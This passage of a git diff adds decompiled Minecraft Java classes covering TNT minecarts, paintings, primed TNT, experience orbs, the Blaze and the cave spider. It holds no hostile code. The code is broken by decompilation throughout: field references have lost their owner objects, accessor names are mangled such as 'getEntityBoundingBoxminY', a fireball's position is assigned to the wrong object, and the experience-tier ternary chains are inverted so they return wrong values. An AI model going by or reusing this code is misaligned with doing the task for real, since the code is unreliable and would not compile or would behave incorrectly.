+    
+    if (!p_94095_1_.isExplosion())
+    {
+      entityDropItem(new net.minecraft.item.ItemStack(Blocks.tnt, 1), 0.0F);
+    }
+    
+    if ((p_94095_1_.isFireDamage()) || (p_94095_1_.isExplosion()) || (var2 >= 0.009999999776482582D))
+    {
+      explodeCart(var2);
+    }
+  }
+  
+
+
+
+  protected void explodeCart(double p_94103_1_)
+  {
+    if (!worldObj.isRemote)
+    {
+      double var3 = Math.sqrt(p_94103_1_);
+      
+      if (var3 > 5.0D)
+      {
+        var3 = 5.0D;
+      }
+      
+      worldObj.createExplosion(this, posX, posY, posZ, (float)(4.0D + rand.nextDouble() * 1.5D * var3), true);
+      setDead();
+    }
+  }
+  
+  public void fall(float distance, float damageMultiplier)
+  {
+    if (distance >= 3.0F)
+    {
+      float var3 = distance / 10.0F;
+      explodeCart(var3 * var3);
+    }
+    
+    super.fall(distance, damageMultiplier);
+  }
+  
+
+
+
+  public void onActivatorRailPass(int p_96095_1_, int p_96095_2_, int p_96095_3_, boolean p_96095_4_)
+  {
+    if ((p_96095_4_) && (minecartTNTFuse < 0))
+    {
+      ignite();
+    }
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 10)
+    {
+      ignite();
+    }
+    else
+    {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+
+
+
+  public void ignite()
+  {
+    minecartTNTFuse = 80;
+    
+    if (!worldObj.isRemote)
+    {
+      worldObj.setEntityState(this, (byte)10);
+      
+      if (!isSlient())
+      {
+        worldObj.playSoundAtEntity(this, "game.tnt.primed", 1.0F, 1.0F);
+      }
+    }
+  }
+  
+  public int func_94104_d()
+  {
+    return minecartTNTFuse;
+  }
+  
+
+
+
+  public boolean isIgnited()
+  {
+    return minecartTNTFuse > -1;
+  }
+  
+
+
+
+  public float getExplosionResistance(Explosion p_180428_1_, World worldIn, BlockPos p_180428_3_, IBlockState p_180428_4_)
+  {
+    return (isIgnited()) && ((BlockRailBase.func_176563_d(p_180428_4_)) || (BlockRailBase.func_176562_d(worldIn, p_180428_3_.offsetUp()))) ? 0.0F : super.getExplosionResistance(p_180428_1_, worldIn, p_180428_3_, p_180428_4_);
+  }
+  
+  public boolean func_174816_a(Explosion p_174816_1_, World worldIn, BlockPos p_174816_3_, IBlockState p_174816_4_, float p_174816_5_)
+  {
+    return (isIgnited()) && ((BlockRailBase.func_176563_d(p_174816_4_)) || (BlockRailBase.func_176562_d(worldIn, p_174816_3_.offsetUp()))) ? false : super.func_174816_a(p_174816_1_, worldIn, p_174816_3_, p_174816_4_, p_174816_5_);
+  }
+  
+
+
+
+  protected void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    
+    if (tagCompund.hasKey("TNTFuse", 99))
+    {
+      minecartTNTFuse = tagCompund.getInteger("TNTFuse");
+    }
+  }
+  
+
+
+
+  protected void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setInteger("TNTFuse", minecartTNTFuse);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityPainting.java b/src/minecraft/net/minecraft/entity/item/EntityPainting.java
new file mode 100644
index 0000000..0bdb084
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityPainting.java
@@ -0,0 +1,203 @@
+package net.minecraft.entity.item;
+
+import java.util.ArrayList;
+import java.util.Random;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityHanging;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Items;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class EntityPainting extends EntityHanging
+{
+  public EnumArt art;
+  private static final String __OBFID = "CL_00001556";
+  
+  public EntityPainting(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityPainting(World worldIn, BlockPos p_i45849_2_, EnumFacing p_i45849_3_)
+  {
+    super(worldIn, p_i45849_2_);
+    ArrayList var4 = com.google.common.collect.Lists.newArrayList();
+    EnumArt[] var5 = EnumArt.values();
+    int var6 = var5.length;
+    
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      EnumArt var8 = var5[var7];
+      art = var8;
+      func_174859_a(p_i45849_3_);
+      
+      if (onValidSurface())
+      {
+        var4.add(var8);
+      }
+    }
+    
+    if (!var4.isEmpty())
+    {
+      art = ((EnumArt)var4.get(rand.nextInt(var4.size())));
+    }
+    
+    func_174859_a(p_i45849_3_);
+  }
+  
+  public EntityPainting(World worldIn, BlockPos p_i45850_2_, EnumFacing p_i45850_3_, String p_i45850_4_)
+  {
+    this(worldIn, p_i45850_2_, p_i45850_3_);
+    EnumArt[] var5 = EnumArt.values();
+    int var6 = var5.length;
+    
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      EnumArt var8 = var5[var7];
+      
+      if (title.equals(p_i45850_4_))
+      {
+        art = var8;
+        break;
+      }
+    }
+    
+    func_174859_a(p_i45850_3_);
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    tagCompound.setString("Motive", art.title);
+    super.writeEntityToNBT(tagCompound);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    String var2 = tagCompund.getString("Motive");
+    EnumArt[] var3 = EnumArt.values();
+    int var4 = var3.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      EnumArt var6 = var3[var5];
+      
+      if (title.equals(var2))
+      {
+        art = var6;
+      }
+    }
+    
+    if (art == null)
+    {
+      art = EnumArt.KEBAB;
+    }
+    
+    super.readEntityFromNBT(tagCompund);
+  }
+  
+  public int getWidthPixels()
+  {
+    return art.sizeX;
+  }
+  
+  public int getHeightPixels()
+  {
+    return art.sizeY;
+  }
+  
+
+
+
+  public void onBroken(Entity p_110128_1_)
+  {
+    if (worldObj.getGameRules().getGameRuleBooleanValue("doTileDrops"))
+    {
+      if ((p_110128_1_ instanceof EntityPlayer))
+      {
+        EntityPlayer var2 = (EntityPlayer)p_110128_1_;
+        
+        if (capabilities.isCreativeMode)
+        {
+          return;
+        }
+      }
+      
+      entityDropItem(new net.minecraft.item.ItemStack(Items.painting), 0.0F);
+    }
+  }
+  
+
+
+
+  public void setLocationAndAngles(double x, double y, double z, float yaw, float pitch)
+  {
+    BlockPos var9 = new BlockPos(x - posX, y - posY, z - posZ);
+    BlockPos var10 = field_174861_a.add(var9);
+    setPosition(var10.getX(), var10.getY(), var10.getZ());
+  }
+  
+  public void func_180426_a(double p_180426_1_, double p_180426_3_, double p_180426_5_, float p_180426_7_, float p_180426_8_, int p_180426_9_, boolean p_180426_10_)
+  {
+    BlockPos var11 = new BlockPos(p_180426_1_ - posX, p_180426_3_ - posY, p_180426_5_ - posZ);
+    BlockPos var12 = field_174861_a.add(var11);
+    setPosition(var12.getX(), var12.getY(), var12.getZ());
+  }
+  
+  public static enum EnumArt
+  {
+    KEBAB("KEBAB", 0, "Kebab", 16, 16, 0, 0), 
+    AZTEC("AZTEC", 1, "Aztec", 16, 16, 16, 0), 
+    ALBAN("ALBAN", 2, "Alban", 16, 16, 32, 0), 
+    AZTEC_2("AZTEC_2", 3, "Aztec2", 16, 16, 48, 0), 
+    BOMB("BOMB", 4, "Bomb", 16, 16, 64, 0), 
+    PLANT("PLANT", 5, "Plant", 16, 16, 80, 0), 
+    WASTELAND("WASTELAND", 6, "Wasteland", 16, 16, 96, 0), 
+    POOL("POOL", 7, "Pool", 32, 16, 0, 32), 
+    COURBET("COURBET", 8, "Courbet", 32, 16, 32, 32), 
+    SEA("SEA", 9, "Sea", 32, 16, 64, 32), 
+    SUNSET("SUNSET", 10, "Sunset", 32, 16, 96, 32), 
+    CREEBET("CREEBET", 11, "Creebet", 32, 16, 128, 32), 
+    WANDERER("WANDERER", 12, "Wanderer", 16, 32, 0, 64), 
+    GRAHAM("GRAHAM", 13, "Graham", 16, 32, 16, 64), 
+    MATCH("MATCH", 14, "Match", 32, 32, 0, 128), 
+    BUST("BUST", 15, "Bust", 32, 32, 32, 128), 
+    STAGE("STAGE", 16, "Stage", 32, 32, 64, 128), 
+    VOID("VOID", 17, "Void", 32, 32, 96, 128), 
+    SKULL_AND_ROSES("SKULL_AND_ROSES", 18, "SkullAndRoses", 32, 32, 128, 128), 
+    WITHER("WITHER", 19, "Wither", 32, 32, 160, 128), 
+    FIGHTERS("FIGHTERS", 20, "Fighters", 64, 32, 0, 96), 
+    POINTER("POINTER", 21, "Pointer", 64, 64, 0, 192), 
+    PIGSCENE("PIGSCENE", 22, "Pigscene", 64, 64, 64, 192), 
+    BURNING_SKULL("BURNING_SKULL", 23, "BurningSkull", 64, 64, 128, 192), 
+    SKELETON("SKELETON", 24, "Skeleton", 64, 48, 192, 64), 
+    DONKEY_KONG("DONKEY_KONG", 25, "DonkeyKong", 64, 48, 192, 112);
+    public static final int field_180001_A = "SkullAndRoses".length();
+    
+    public final String title;
+    public final int sizeX;
+    public final int sizeY;
+    public final int offsetX;
+    public final int offsetY;
+    private static final EnumArt[] $VALUES = { KEBAB, AZTEC, ALBAN, AZTEC_2, BOMB, PLANT, WASTELAND, POOL, COURBET, SEA, SUNSET, CREEBET, WANDERER, GRAHAM, MATCH, BUST, STAGE, VOID, SKULL_AND_ROSES, WITHER, FIGHTERS, POINTER, PIGSCENE, BURNING_SKULL, SKELETON, DONKEY_KONG };
+    private static final String __OBFID = "CL_00001557";
+    
+    private EnumArt(String p_i1598_1_, int p_i1598_2_, String p_i1598_3_, int p_i1598_4_, int p_i1598_5_, int p_i1598_6_, int p_i1598_7_)
+    {
+      title = p_i1598_3_;
+      sizeX = p_i1598_4_;
+      sizeY = p_i1598_5_;
+      offsetX = p_i1598_6_;
+      offsetY = p_i1598_7_;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityTNTPrimed.java b/src/minecraft/net/minecraft/entity/item/EntityTNTPrimed.java
new file mode 100644
index 0000000..bc17a28
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityTNTPrimed.java
@@ -0,0 +1,128 @@
+package net.minecraft.entity.item;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public class EntityTNTPrimed
+  extends Entity
+{
+  public int fuse;
+  private EntityLivingBase tntPlacedBy;
+  private static final String __OBFID = "CL_00001681";
+  
+  public EntityTNTPrimed(World worldIn)
+  {
+    super(worldIn);
+    preventEntitySpawning = true;
+    setSize(0.98F, 0.98F);
+  }
+  
+  public EntityTNTPrimed(World worldIn, double p_i1730_2_, double p_i1730_4_, double p_i1730_6_, EntityLivingBase p_i1730_8_)
+  {
+    this(worldIn);
+    setPosition(p_i1730_2_, p_i1730_4_, p_i1730_6_);
+    float var9 = (float)(Math.random() * 3.141592653589793D * 2.0D);
+    motionX = (-(float)Math.sin(var9) * 0.02F);
+    motionY = 0.20000000298023224D;
+    motionZ = (-(float)Math.cos(var9) * 0.02F);
+    fuse = 80;
+    prevPosX = p_i1730_2_;
+    prevPosY = p_i1730_4_;
+    prevPosZ = p_i1730_6_;
+    tntPlacedBy = p_i1730_8_;
+  }
+  
+
+
+  protected void entityInit() {}
+  
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+
+
+
+  public boolean canBeCollidedWith()
+  {
+    return !isDead;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    motionY -= 0.03999999910593033D;
+    moveEntity(motionX, motionY, motionZ);
+    motionX *= 0.9800000190734863D;
+    motionY *= 0.9800000190734863D;
+    motionZ *= 0.9800000190734863D;
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+      motionY *= -0.5D;
+    }
+    
+    if (fuse-- <= 0)
+    {
+      setDead();
+      
+      if (!worldObj.isRemote)
+      {
+        explode();
+      }
+    }
+    else
+    {
+      handleWaterMovement();
+      worldObj.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, posX, posY + 0.5D, posZ, 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+  }
+  
+  private void explode()
+  {
+    float var1 = 4.0F;
+    worldObj.createExplosion(this, posX, posY + height / 2.0F, posZ, var1, true);
+  }
+  
+
+
+
+  protected void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    tagCompound.setByte("Fuse", (byte)fuse);
+  }
+  
+
+
+
+  protected void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    fuse = tagCompund.getByte("Fuse");
+  }
+  
+
+
+
+  public EntityLivingBase getTntPlacedBy()
+  {
+    return tntPlacedBy;
+  }
+  
+  public float getEyeHeight()
+  {
+    return 0.0F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityXPOrb.java b/src/minecraft/net/minecraft/entity/item/EntityXPOrb.java
new file mode 100644
index 0000000..d74e228
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityXPOrb.java
@@ -0,0 +1,278 @@
+package net.minecraft.entity.item;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+
+
+public class EntityXPOrb
+  extends Entity
+{
+  public int xpColor;
+  public int xpOrbAge;
+  public int field_70532_c;
+  private int xpOrbHealth = 5;
+  
+
+  private int xpValue;
+  
+  private EntityPlayer closestPlayer;
+  
+  private int xpTargetColor;
+  
+  private static final String __OBFID = "CL_00001544";
+  
+
+  public EntityXPOrb(World worldIn, double p_i1585_2_, double p_i1585_4_, double p_i1585_6_, int p_i1585_8_)
+  {
+    super(worldIn);
+    setSize(0.5F, 0.5F);
+    setPosition(p_i1585_2_, p_i1585_4_, p_i1585_6_);
+    rotationYaw = ((float)(Math.random() * 360.0D));
+    motionX = ((float)(Math.random() * 0.20000000298023224D - 0.10000000149011612D) * 2.0F);
+    motionY = ((float)(Math.random() * 0.2D) * 2.0F);
+    motionZ = ((float)(Math.random() * 0.20000000298023224D - 0.10000000149011612D) * 2.0F);
+    xpValue = p_i1585_8_;
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+  public EntityXPOrb(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.25F, 0.25F);
+  }
+  
+  protected void entityInit() {}
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    float var2 = 0.5F;
+    var2 = MathHelper.clamp_float(var2, 0.0F, 1.0F);
+    int var3 = super.getBrightnessForRender(p_70070_1_);
+    int var4 = var3 & 0xFF;
+    int var5 = var3 >> 16 & 0xFF;
+    var4 += (int)(var2 * 15.0F * 16.0F);
+    
+    if (var4 > 240)
+    {
+      var4 = 240;
+    }
+    
+    return var4 | var5 << 16;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if (field_70532_c > 0)
+    {
+      field_70532_c -= 1;
+    }
+    
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    motionY -= 0.029999999329447746D;
+    
+    if (worldObj.getBlockState(new BlockPos(this)).getBlock().getMaterial() == Material.lava)
+    {
+      motionY = 0.20000000298023224D;
+      motionX = ((rand.nextFloat() - rand.nextFloat()) * 0.2F);
+      motionZ = ((rand.nextFloat() - rand.nextFloat()) * 0.2F);
+      playSound("random.fizz", 0.4F, 2.0F + rand.nextFloat() * 0.4F);
+    }
+    
+    pushOutOfBlocks(posX, (getEntityBoundingBoxminY + getEntityBoundingBoxmaxY) / 2.0D, posZ);
+    double var1 = 8.0D;
+    
+    if (xpTargetColor < xpColor - 20 + getEntityId() % 100)
+    {
+      if ((closestPlayer == null) || (closestPlayer.getDistanceSqToEntity(this) > var1 * var1))
+      {
+        closestPlayer = worldObj.getClosestPlayerToEntity(this, var1);
+      }
+      
+      xpTargetColor = xpColor;
+    }
+    
+    if ((closestPlayer != null) && (closestPlayer.func_175149_v()))
+    {
+      closestPlayer = null;
+    }
+    
+    if (closestPlayer != null)
+    {
+      double var3 = (closestPlayer.posX - posX) / var1;
+      double var5 = (closestPlayer.posY + closestPlayer.getEyeHeight() - posY) / var1;
+      double var7 = (closestPlayer.posZ - posZ) / var1;
+      double var9 = Math.sqrt(var3 * var3 + var5 * var5 + var7 * var7);
+      double var11 = 1.0D - var9;
+      
+      if (var11 > 0.0D)
+      {
+        var11 *= var11;
+        motionX += var3 / var9 * var11 * 0.1D;
+        motionY += var5 / var9 * var11 * 0.1D;
+        motionZ += var7 / var9 * var11 * 0.1D;
+      }
+    }
+    
+    moveEntity(motionX, motionY, motionZ);
+    float var13 = 0.98F;
+    
+    if (onGround)
+    {
+      var13 = worldObj.getBlockState(new BlockPos(MathHelper.floor_double(posX), MathHelper.floor_double(getEntityBoundingBoxminY) - 1, MathHelper.floor_double(posZ))).getBlock().slipperiness * 0.98F;
+    }
+    
+    motionX *= var13;
+    motionY *= 0.9800000190734863D;
+    motionZ *= var13;
+    
+    if (onGround)
+    {
+      motionY *= -0.8999999761581421D;
+    }
+    
+    xpColor += 1;
+    xpOrbAge += 1;
+    
+    if (xpOrbAge >= 6000)
+    {
+      setDead();
+    }
+  }
+  
+
+
+
+  public boolean handleWaterMovement()
+  {
+    return worldObj.handleMaterialAcceleration(getEntityBoundingBox(), Material.water, this);
+  }
+  
+
+
+
+
+  protected void dealFireDamage(int amount)
+  {
+    attackEntityFrom(DamageSource.inFire, amount);
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    
+
+    setBeenAttacked();
+    xpOrbHealth = ((int)(xpOrbHealth - amount));
+    
+    if (xpOrbHealth <= 0)
+    {
+      setDead();
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    tagCompound.setShort("Health", (short)(byte)xpOrbHealth);
+    tagCompound.setShort("Age", (short)xpOrbAge);
+    tagCompound.setShort("Value", (short)xpValue);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    xpOrbHealth = (tagCompund.getShort("Health") & 0xFF);
+    xpOrbAge = tagCompund.getShort("Age");
+    xpValue = tagCompund.getShort("Value");
+  }
+  
+
+
+
+  public void onCollideWithPlayer(EntityPlayer entityIn)
+  {
+    if (!worldObj.isRemote)
+    {
+      if ((field_70532_c == 0) && (xpCooldown == 0))
+      {
+        xpCooldown = 2;
+        worldObj.playSoundAtEntity(entityIn, "random.orb", 0.1F, 0.5F * ((rand.nextFloat() - rand.nextFloat()) * 0.7F + 1.8F));
+        entityIn.onItemPickup(this, 1);
+        entityIn.addExperience(xpValue);
+        setDead();
+      }
+    }
+  }
+  
+
+
+
+  public int getXpValue()
+  {
+    return xpValue;
+  }
+  
+
+
+
+
+  public int getTextureByXP()
+  {
+    return xpValue >= 3 ? 1 : xpValue >= 7 ? 2 : xpValue >= 17 ? 3 : xpValue >= 37 ? 4 : xpValue >= 73 ? 5 : xpValue >= 149 ? 6 : xpValue >= 307 ? 7 : xpValue >= 617 ? 8 : xpValue >= 1237 ? 9 : xpValue >= 2477 ? 10 : 0;
+  }
+  
+
+
+
+  public static int getXPSplit(int p_70527_0_)
+  {
+    return p_70527_0_ >= 3 ? 3 : p_70527_0_ >= 7 ? 7 : p_70527_0_ >= 17 ? 17 : p_70527_0_ >= 37 ? 37 : p_70527_0_ >= 73 ? 73 : p_70527_0_ >= 149 ? 149 : p_70527_0_ >= 307 ? 307 : p_70527_0_ >= 617 ? 617 : p_70527_0_ >= 1237 ? 1237 : p_70527_0_ >= 2477 ? 2477 : 1;
+  }
+  
+
+
+
+  public boolean canAttackWithItem()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityBlaze.java b/src/minecraft/net/minecraft/entity/monster/EntityBlaze.java
new file mode 100644
index 0000000..1d26d96
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityBlaze.java
@@ -0,0 +1,304 @@
+package net.minecraft.entity.monster;
+
+import java.util.Random;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIBase;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.EntityMoveHelper;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.projectile.EntitySmallFireball;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityBlaze extends EntityMob
+{
+  private float heightOffset = 0.5F;
+  
+  private int heightOffsetUpdateTime;
+  
+  private static final String __OBFID = "CL_00001682";
+  
+  public EntityBlaze(World worldIn)
+  {
+    super(worldIn);
+    isImmuneToFire = true;
+    experienceValue = 10;
+    tasks.addTask(4, new AIFireballAttack());
+    tasks.addTask(5, new net.minecraft.entity.ai.EntityAIMoveTowardsRestriction(this, 1.0D));
+    tasks.addTask(7, new EntityAIWander(this, 1.0D));
+    tasks.addTask(8, new EntityAIWatchClosest(this, EntityPlayer.class, 8.0F));
+    tasks.addTask(8, new net.minecraft.entity.ai.EntityAILookIdle(this));
+    targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAIHurtByTarget(this, true, new Class[0]));
+    targetTasks.addTask(2, new net.minecraft.entity.ai.EntityAINearestAttackableTarget(this, EntityPlayer.class, true));
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.attackDamage).setBaseValue(6.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.23000000417232513D);
+    getEntityAttribute(SharedMonsterAttributes.followRange).setBaseValue(48.0D);
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, new Byte((byte)0));
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.blaze.breathe";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.blaze.hit";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.blaze.death";
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    return 15728880;
+  }
+  
+
+
+
+  public float getBrightness(float p_70013_1_)
+  {
+    return 1.0F;
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    if ((!onGround) && (motionY < 0.0D))
+    {
+      motionY *= 0.6D;
+    }
+    
+    if (worldObj.isRemote)
+    {
+      if ((rand.nextInt(24) == 0) && (!isSlient()))
+      {
+        worldObj.playSound(posX + 0.5D, posY + 0.5D, posZ + 0.5D, "fire.fire", 1.0F + rand.nextFloat(), rand.nextFloat() * 0.7F + 0.3F, false);
+      }
+      
+      for (int var1 = 0; var1 < 2; var1++)
+      {
+        worldObj.spawnParticle(EnumParticleTypes.SMOKE_LARGE, posX + (rand.nextDouble() - 0.5D) * width, posY + rand.nextDouble() * height, posZ + (rand.nextDouble() - 0.5D) * width, 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+    }
+    
+    super.onLivingUpdate();
+  }
+  
+  protected void updateAITasks()
+  {
+    if (isWet())
+    {
+      attackEntityFrom(DamageSource.drown, 1.0F);
+    }
+    
+    heightOffsetUpdateTime -= 1;
+    
+    if (heightOffsetUpdateTime <= 0)
+    {
+      heightOffsetUpdateTime = 100;
+      heightOffset = (0.5F + (float)rand.nextGaussian() * 3.0F);
+    }
+    
+    EntityLivingBase var1 = getAttackTarget();
+    
+    if ((var1 != null) && (posY + var1.getEyeHeight() > posY + getEyeHeight() + heightOffset))
+    {
+      motionY += (0.30000001192092896D - motionY) * 0.30000001192092896D;
+      isAirBorne = true;
+    }
+    
+    super.updateAITasks();
+  }
+  
+  public void fall(float distance, float damageMultiplier) {}
+  
+  protected Item getDropItem()
+  {
+    return Items.blaze_rod;
+  }
+  
+
+
+
+  public boolean isBurning()
+  {
+    return func_70845_n();
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    if (p_70628_1_)
+    {
+      int var3 = rand.nextInt(2 + p_70628_2_);
+      
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        dropItem(Items.blaze_rod, 1);
+      }
+    }
+  }
+  
+  public boolean func_70845_n()
+  {
+    return (dataWatcher.getWatchableObjectByte(16) & 0x1) != 0;
+  }
+  
+  public void func_70844_e(boolean p_70844_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(16);
+    
+    if (p_70844_1_)
+    {
+      var2 = (byte)(var2 | 0x1);
+    }
+    else
+    {
+      var2 = (byte)(var2 & 0xFFFFFFFE);
+    }
+    
+    dataWatcher.updateObject(16, Byte.valueOf(var2));
+  }
+  
+
+
+
+  protected boolean isValidLightLevel()
+  {
+    return true;
+  }
+  
+  class AIFireballAttack extends EntityAIBase
+  {
+    private EntityBlaze field_179469_a = EntityBlaze.this;
+    private int field_179467_b;
+    private int field_179468_c;
+    private static final String __OBFID = "CL_00002225";
+    
+    public AIFireballAttack()
+    {
+      setMutexBits(3);
+    }
+    
+    public boolean shouldExecute()
+    {
+      EntityLivingBase var1 = field_179469_a.getAttackTarget();
+      return (var1 != null) && (var1.isEntityAlive());
+    }
+    
+    public void startExecuting()
+    {
+      field_179467_b = 0;
+    }
+    
+    public void resetTask()
+    {
+      field_179469_a.func_70844_e(false);
+    }
+    
+    public void updateTask()
+    {
+      field_179468_c -= 1;
+      EntityLivingBase var1 = field_179469_a.getAttackTarget();
+      double var2 = field_179469_a.getDistanceSqToEntity(var1);
+      
+      if (var2 < 4.0D)
+      {
+        if (field_179468_c <= 0)
+        {
+          field_179468_c = 20;
+          field_179469_a.attackEntityAsMob(var1);
+        }
+        
+        field_179469_a.getMoveHelper().setMoveTo(posX, posY, posZ, 1.0D);
+      }
+      else if (var2 < 256.0D)
+      {
+        double var4 = posX - field_179469_a.posX;
+        double var6 = getEntityBoundingBoxminY + height / 2.0F - (field_179469_a.posY + field_179469_a.height / 2.0F);
+        double var8 = posZ - field_179469_a.posZ;
+        
+        if (field_179468_c <= 0)
+        {
+          field_179467_b += 1;
+          
+          if (field_179467_b == 1)
+          {
+            field_179468_c = 60;
+            field_179469_a.func_70844_e(true);
+          }
+          else if (field_179467_b <= 4)
+          {
+            field_179468_c = 6;
+          }
+          else
+          {
+            field_179468_c = 100;
+            field_179467_b = 0;
+            field_179469_a.func_70844_e(false);
+          }
+          
+          if (field_179467_b > 1)
+          {
+            float var10 = MathHelper.sqrt_float(MathHelper.sqrt_double(var2)) * 0.5F;
+            field_179469_a.worldObj.playAuxSFXAtEntity(null, 1009, new net.minecraft.util.BlockPos((int)field_179469_a.posX, (int)field_179469_a.posY, (int)field_179469_a.posZ), 0);
+            
+            for (int var11 = 0; var11 < 1; var11++)
+            {
+              EntitySmallFireball var12 = new EntitySmallFireball(field_179469_a.worldObj, field_179469_a, var4 + field_179469_a.getRNG().nextGaussian() * var10, var6, var8 + field_179469_a.getRNG().nextGaussian() * var10);
+              posY = (field_179469_a.posY + field_179469_a.height / 2.0F + 0.5D);
+              field_179469_a.worldObj.spawnEntityInWorld(var12);
+            }
+          }
+        }
+        
+        field_179469_a.getLookHelper().setLookPositionWithEntity(var1, 10.0F, 10.0F);
+      }
+      else
+      {
+        field_179469_a.getNavigator().clearPathEntity();
+        field_179469_a.getMoveHelper().setMoveTo(posX, posY, posZ, 1.0D);
+      }
+      
+      super.updateTask();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityCaveSpider.java b/src/minecraft/net/minecraft/entity/monster/EntityCaveSpider.java
new file mode 100644
index 0000000..3dc04a0
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityCaveSpider.java
@@ -0,0 +1,69 @@
+package net.minecraft.entity.monster;
+
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IEntityLivingData;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.world.DifficultyInstance;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.World;
+
+public class EntityCaveSpider extends EntitySpider
+{
+  private static final String __OBFID = "CL_00001683";
+  
+  public EntityCaveSpider(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.7F, 0.5F);
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(net.minecraft.entity.SharedMonsterAttributes.maxHealth).setBaseValue(12.0D);
+  }
+  
+  public boolean attackEntityAsMob(Entity p_70652_1_)
+  {
+    if (super.attackEntityAsMob(p_70652_1_))
+    {
+      if ((p_70652_1_ instanceof EntityLivingBase))
+      {
+        byte var2 = 0;
